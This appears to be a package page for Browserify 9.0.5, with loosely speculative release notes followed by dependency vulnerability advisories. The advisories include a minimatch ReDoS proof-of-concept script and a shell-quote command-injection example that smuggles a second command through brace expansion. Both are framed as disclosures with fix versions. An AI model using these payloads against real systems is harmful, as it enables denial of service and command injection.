Browserify 9.0.5 is a patch release addressing potential issues and refinements over version 9.0.4. Both versions serve the core purpose of enabling developers to use Node.js-style require() statements in browser-side JavaScript, streamlining the process of managing dependencies for web applications. Key dependencies like module-deps, browser-resolve, and the various browserify shims for core Node.js modules (such as http-browserify, crypto-browserify, stream-browserify) remain consistent, ensuring compatibility and a smooth transition for existing projects.
Developers will find the robust dependency management crucial for organizing their front-end code, as Browserify handles the complexities of resolving and bundling modules for efficient browser delivery. The inclusion of insert-module-globals allows for simplified access to global objects, while modules like JSONStream and deep-equal provide utilities for working with complex data structures.
Although the dependency lists are largely identical, the subtle changes inherent in a patch release (9.0.5) likely involve bug fixes, performance enhancements, or minor dependency updates that enhance stability. Specifically, the reintroduction of isstream as a dev dependency, along with through suggests improvements or modifications related to stream handling during development and testing. While seemingly minor, these improvements contribute to a more refined and reliable development experience for Browserify users. The updated releaseDate also provides a clear indication of which package incorporates the most recent updates.
All the vulnerabilities related to the version 9.0.5 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Potential Command Injection in shell-quote
Affected versions of shell-quote do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.
The following characters are not escaped properly: >,;,{,}
Bash has a neat but not well known feature known as "Bash Brace Expansion", wherein a sub-command can be executed without spaces by running it between a set of {} and using the , instead of to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible.
const quote = require('shell-quote').quote;
console.log(quote(['a;{echo,test,123,234}']));
// Actual "a;{echo,test,123,234}"
// Expected "a\;\{echo,test,123,234\}"
// Functional Equivalent "a; echo 'test' '123' '1234'"
Update to version 1.6.1 or later.
